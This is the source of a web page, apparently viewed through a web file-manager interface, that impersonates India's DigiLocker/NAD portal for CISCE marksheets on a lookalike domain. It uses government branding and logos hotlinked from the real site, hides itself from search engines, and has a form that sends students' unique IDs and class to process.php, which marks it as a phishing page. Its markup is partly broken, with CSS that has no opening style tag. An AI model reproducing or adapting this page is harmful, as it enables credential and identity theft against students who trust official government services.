Ultra File Manager

Edit: /home/u523034047/domains/digilockercisceboard.org/public_html/index.php1

<?php
// index.php
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DigiLocker NAD - Access Document</title>
<meta name="robots" content="noindex, nofollow, noarchive">

<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700&display=swap" rel="stylesheet">

/* HEADER */
.header{
    background:#fff;
    padding:15px 20px;
    display:flex;
    justify-content:space-between;
    align-items:center;
    box-shadow:0 2px 8px rgba(0,0,0,0.05);
}

.logo{
    display:flex;
    align-items:center;
    gap:10px;
}

.logo img{
    height:40px;
}

.menu-btn{
    background:#2f5bd3;
    color:#fff;
    padding:10px 14px;
    border-radius:8px;
    cursor:pointer;
}

/* MAIN CARD */
.container{
    max-width:600px;
    margin:40px auto;
    padding:20px;
}

.card{
    background:#fff;
    padding:30px;
    border-radius:15px;
    box-shadow:0 8px 20px rgba(0,0,0,0.08);
}

.card h2{
    text-align:center;
    margin-bottom:20px;
    font-weight:600;
}

.form-group{
    margin-bottom:15px;
}

input[type="text"]{
    width:100%;
    padding:12px;
    border:1px solid #ddd;
    border-radius:8px;
    font-size:14px;
}

.unique-link{
    display:block;
    text-align:center;
    margin:10px 0 20px;
    color:#2f5bd3;
    text-decoration:none;
    font-weight:500;
}

.btn{
    width:100%;
    background:#2f5bd3;
    color:#fff;
    padding:14px;
    border:none;
    border-radius:30px;
    font-size:16px;
    font-weight:500;
    cursor:pointer;
    transition:0.3s;
}

.btn:hover{
    background:#1e44b3;
}

.footer-text{
    text-align:center;
    font-size:13px;
    color:#666;
    margin-top:20px;
}

/* FOOTER */
.footer{
    background:#0d1b2a;
    color:#fff;
    text-align:center;
    padding:15px;
    font-size:13px;
    margin-top:50px;
}

/* MOBILE */
@media(max-width:480px){
    .card{
        padding:20px;
    }
}

.cisce-logo{
    text-align:center;
    margin-bottom:15px;
}

.cisce-logo img{
    width:70px;
}

.desc{
    font-size:14px;
    color:#555;
    line-height:1.7;
    text-align:center;
    margin-bottom:25px;
}

.desc a{
    color:#2f5bd3;
    text-decoration:none;
    font-weight:500;
}
select{
    width:100%;
    padding:12px 15px;
    font-size:14px;
    border:1px solid #dcdcdc;
    border-radius:8px;
    background:#fff;
    outline:none;
    transition:0.3s ease;
    cursor:pointer;
}

/* Focus Effect */
select:focus{
    border-color:#2f5bd3;
    box-shadow:0 0 0 3px rgba(47,91,211,0.15);
}

/* Hover Effect */
select:hover{
    border-color:#2f5bd3;
}

.main-footer{
    background: linear-gradient(to right, #001c33, #002b4d);
    color:#fff;
    padding:60px 20px 20px;
    font-family: Arial, sans-serif;
}

.footer-container{
    max-width:1200px;
    margin:auto;
    display:flex;
    flex-wrap:wrap;
    justify-content:space-between;
    gap:40px;
}

.footer-col{
    flex:1;
    min-width:220px;
}

.footer-logo{
    display:flex;
    align-items:center;
    gap:10px;
    margin-bottom:15px;
}

.footer-logo img{
    width:40px;
}

.footer-col p{
    font-size:14px;
    line-height:1.7;
    color:#cfd8e3;
}

.footer-col ul{
    list-style:none;
    padding:0;
}

.footer-col ul li{
    margin-bottom:10px;
}

.footer-col ul li a{
    color:#cfd8e3;
    text-decoration:none;
    transition:0.3s;
}

.footer-col ul li a:hover{
    color:#ffffff;
    padding-left:5px;
}

.powered img{
    width:150px;
    margin:10px 0;
}

.footer-bottom{
    text-align:center;
    margin-top:40px;
    padding-top:20px;
    border-top:1px solid rgba(255,255,255,0.2);
    font-size:14px;
    color:#cfd8e3;
}

.top-strip{
    background:#0b1e5b;
    color:#fff;
    padding:8px 20px;
    display:flex;
    justify-content:space-between;
    align-items:center;
    font-size:14px;
    flex-wrap:wrap;
}
/* Hide on Mobile */
@media (max-width: 768px) {
    .top-strip {
        display: none;
    }
}
.top-left{
    display:flex;
    align-items:center;
    gap:10px;
}

.top-left img{
    width:22px;
    height:auto;
}

.top-right{
    display:flex;
    align-items:center;
    gap:20px;
    flex-wrap:wrap;
}

.top-right a{
    color:#fff;
    text-decoration:none;
}

.top-right a:hover{
    text-decoration:underline;
}

.font-controls button{
    background:#1c2f7a;
    color:#fff;
    border:none;
    padding:4px 8px;
    cursor:pointer;
    border-radius:3px;
    margin:0 2px;
}

.font-controls button:hover{
    background:#2f5bd3;
}

.language-select{
    background:#1c2f7a;
    color:#fff;
    border:none;
    padding:5px 8px;
    border-radius:3px;
    cursor:pointer;
}

.language-select option{
    color:#000;
}

/* Default (Desktop) */
.footer-container{
    display:flex;
}

.footer-bottom{
    display:block;
}

/* Mobile View */
@media (max-width: 768px){

.footer-container{
        display:none;   /* Hide full footer */
    }

.footer-bottom{
        display:block;  /* Show only copyright */
        text-align:center;
        padding:20px;
        font-size:13px;
    }

}
</style>

</head>
<body>
<div class="top-strip">

<div class="top-left">
        <img src="https://upload.wikimedia.org/wikipedia/en/4/41/Flag_of_India.svg" alt="India Flag">
        <span>Government of India</span>
    </div>

<div class="top-right">
        <a href="#mainContent">Skip to Main Content</a>

<select class="language-select">
            <option>Language</option>
            <option>English</option>
            <option>Hindi</option>
        </select>
    </div>

</div>
<div class="header">
    <div class="logo">
        <img src="https://digilocker.cisceboard.org/assets/NAD_Logo_indi.png" alt="logo">
        <strong></strong>
    </div>
    <div class="menu-btn">☰</div>
</div>

<h2>Council for the Indian School Certificate Examination (CISCE)</h2>

<p class="desc">
The Council for the Indian School Certificate Examination (CISCE) 
(https://www.cisceboard.org) 
is issuing marksheets, passing certificates, and migration certificates through 
DigiLocker. These academic documents can be securely accessed and pulled by 
students into their DigiLocker accounts. Currently, marksheets, passing 
certificates, and migration certificates of ICSE (Class X) and ISC (Class XII) 
from the year 2000 to 2025 are available on the DigiLocker platform.
</p>
        <h2>Access your document!</h2>

<form action="process.php" method="POST">
            <div class="form-group">
                <input type="text" name="unique_id" placeholder="Unique Id*" required>
                 <select name="class" required>
        <option value="">Select Class</option>
        <option value="X">Class X</option>
        <option value="XII">Class XII</option>
    </select>

</div>
        
               <a href="#" class="unique-link">Enter Your Unique Id</a>
<button type="submit" class="btn">
        Access With <img src="https://digilocker.cisceboard.org/assets/digilogow.png"style="height:19px"> MeriPehchaan
    </button>
         <br>
         <br>

</form>

<div class="footer-text">
            We use basic information from your DigiLocker account to identify you and allow access to NAD platform.
        </div>
    </div>
</div>
<footer class="main-footer">

<div class="footer-col">
            <div class="footer-logo">
                <img src="https://digilocker.cisceboard.org/assets/NAD%20Logo%20White.png" style="width:100%">
               
            </div>

<p>
                DigiLocker and NAD are initiatives of Ministry of Electronics 
                and Information Technology (MeitY) and Ministry of Human Resource 
                Development (MHRD) respectively.
            </p>
        </div>

<div class="footer-col">
            <ul>
                <li><a href="#">About</a></li>
                <li><a href="#">FAQs</a></li>
                <li><a href="#">Statistics</a></li>
                <li><a href="#">Resources</a></li>
                <li><a href="#">APIs</a></li>
            </ul>
        </div>

<div class="footer-col">
            <ul>
                <li><a href="#">Circulars</a></li>
                <li><a href="#">Customer Support</a></li>
                <li><a href="#">Privacy Policy</a></li>
                <li><a href="#">Copyright</a></li>
            </ul>
        </div>

<div class="footer-col powered">
            <p>Powered by</p>
            <img src="https://digilocker.cisceboard.org/assets/Digital%20India%20Logo%20White.png" alt="Digital India">
            <p>
                Digital India Corporation (DIC)<br>
                Ministry of Electronics & IT (MeitY)<br>
                Government of India
            </p>
        </div>

</div>

</footer>

Ukuran: 9.7 KB